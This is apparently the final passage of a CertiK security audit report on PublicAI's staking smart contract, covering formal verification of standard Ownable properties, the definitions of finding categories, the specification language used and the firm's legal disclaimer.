[PublicAI, 08/12/2025]: Issue acknowledged. Changes have been reflected in the commit hash: https://github.com/PublicAI01/publicai-staking-evm/commit/c2f561e471bc914275a47ff3e5dc02fb8d8f9072

FORMAL VERIFICATION | PUBLICAI

Formal guarantees about the behavior of smart contracts can be obtained by reasoning about properties relating to the entire contract (e.g. contract invariants) or to specific functions of the contract. Once such properties are proven to be valid, they guarantee that the contract behaves as specified by the property. As part of this audit, we applied formal verification to prove that important functions in the smart contracts adhere to their expected behaviors.

Considered Functions And Scope

In the following, we provide a description of the properties that have been used in this audit. They are grouped according to the type of contract they apply to.

Verification of Standard Ownable Properties

We verified *partial* properties of the public interfaces of those token contracts that implement the Ownable interface. This involves:

- function `owner` that returns the current owner,
- functions `renounceOwnership` that removes ownership,
- function `transferOwnership` that transfers the ownership to a new owner.

The properties that were considered within the scope of this audit are as follows:

Property Name	Title
ownable-transferownership-correct	Ownership is Transferred
ownable-owner-succeed-normal	`owner` Always Succeeds
ownable-renounceownership-correct	Ownership is Removed
ownable-renounce-ownership-is-permanent	Once Renounced, Ownership Cannot be Regained

Verification Results

For the following contracts, formal verification established that each of the properties that were in scope of this audit (see scope) are valid:

Detailed Results For Contract StakingContract (contracts/Staking.sol) In Commit 9d1ad998f2d6aeec1a001774d29abf6befb9dfc8

Verification of Standard Ownable Properties

Detailed Results for Function `transferOwnership`

Property Name	Final Result	Remarks
ownable-transferownership-correct	True	

Detailed Results for Function `owner`

Property Name	Final Result	Remarks
ownable-owner-succeed-normal	True	

Detailed Results for Function `renounceOwnership`

Property Name	Final Result	Remarks
ownable-renounceownership-correct	True	
ownable-renounce-ownership-is-permanent	True	

APPENDIX | PUBLICAI

Finding Categories

Categories	Description
Coding Style	Coding Style findings may not affect code behavior, but indicate areas where coding practices can be improved to make the code more understandable and maintainable.
Coding Issue	Coding Issue findings are about general code quality including, but not limited to, coding mistakes, compile errors, and performance issues.
Volatile Code	Volatile Code findings refer to segments of code that behave unexpectedly on certain edge cases and may result in vulnerabilities.
Logical Issue	Logical Issue findings indicate general implementation issues related to the program logic.
Centralization	Centralization findings detail the design choices of designating privileged roles or other centralized controls over the code.
Design Issue	Design Issue findings indicate general issues at the design level beyond program logic that are not covered by other finding categories.

Checksum Calculation Method

The "Checksum" field in the "Audit Scope" section is calculated as the SHA-256 (Secure Hash Algorithm 2 with digest size of 256 bits) digest of the content of each file hosted in the listed source repository under the specified commit.

The result is hexadecimal encoded and is the same as the output of the Linux "sha256sum" command against the target file.

Details on Formal Verification

Some Solidity smart contracts from this project have been formally verified. Each such contract was compiled into a mathematical model that reflects all its possible behaviors with respect to the property. The model takes into account the semantics of the Solidity instructions found in the contract. All verification results that we report are based on that model.

The following assumptions and simplifications apply to our model:

- Certain low-level calls and inline assembly are not supported and may lead to a contract not being formally verified.
- We model the semantics of the Solidity source code and not the semantics of the EVM bytecode in a compiled contract.

Formalism for property specifications

All properties are expressed in a behavioral interface specification language that CertiK has developed for Solidity, which allows us to specify the behavior of each function in terms of the contract state and its parameters and return values, as well as contract properties that are maintained by every observable state transition. Observable state transitions occur when the contract's external interface is invoked and the invocation does not revert, and when the contract's Ether balance is changed by the EVM due to another contract's "self-destruct" invocation. The specification language has the usual Boolean connectives, as well as the operator `\old` (used to denote the state of a variable before a state transition), and several types of specification clause:

Apart from the Boolean connectives and the modal operators "always" (written `[]`) and "eventually" (written `<>`), we use the following predicates to reason about the validity of atomic propositions. They are evaluated on the contract's state whenever a discrete time step occurs:

- `requires [cond]` - the condition `cond`, which refers to a function's parameters, return values, and contract state variables, must hold when a function is invoked in order for it to exhibit a specified behavior.
- `ensures [cond]` - the condition `cond`, which refers to a function's parameters, return values, and both `\old` and current contract state variables, is guaranteed to hold when a function returns if the corresponding requires condition held when it was invoked.
- `invariant [cond]` - the condition `cond`, which refers only to contract state variables, is guaranteed to hold at every observable contract state.
- `constraint [cond]` - the condition `cond`, which refers to both `\old` and current contract state variables, is guaranteed to hold at every observable contract state except for the initial state after construction (because there is no previous state); constraints are used to restrict how contract state can change over time.

Description of the Analyzed Ownable Properties

Properties related to function `transferOwnership`

ownable-transferownership-correct

Invocations of `transferOwnership(newOwner)` must transfer the ownership to the `newOwner`.

Specification:

```
ensures this.owner() == newOwner;
```

Properties related to function `owner`

ownable-owner-succeed-normal

Function `owner` must always succeed if it does not run out of gas.

Specification:

```
reverts_only_when false;
```

Properties related to function `renounceOwnership`

ownable-renounce-ownership-is-permanent

The contract must prohibit regaining of ownership once it has been renounced.

Specification:

```
constraint \old(owner()) == address(0) ==> owner() == address(0);
```

ownable-renounceownership-correct

Invocations of `renounceOwnership()` must set ownership to address(0).

Specification:

```
ensures this.owner() == address(0);
```

DISCLAIMER | CERTIK

This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without CertiK's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts CertiK to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. CertiK's position is that each company and individual are responsible for their own due diligence and continuous security. CertiK's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by CertiK is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, CERTIK HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, CERTIK SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, CERTIK MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE. WITHOUT LIMITATION TO THE FOREGOING, CERTIK PROVIDES NO WARRANTY OR

UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER CERTIK NOR ANY OF CERTIK'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. CERTIK WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT CERTIK'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF CERTIK CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.

Elevating Your Entire Web3 Journey

Founded in 2017 by leading academics in the field of Computer Science from both Yale and Columbia University, CertiK is a leading blockchain security company that serves to verify the security and correctness of smart contracts and blockchain-based protocols. Through the utilization of our world-class technical expertise, alongside our proprietary, innovative tech, we're able to support the success of our clients with best-in-class security, all whilst realizing our overarching vision; provable trust for all throughout all facets of blockchain.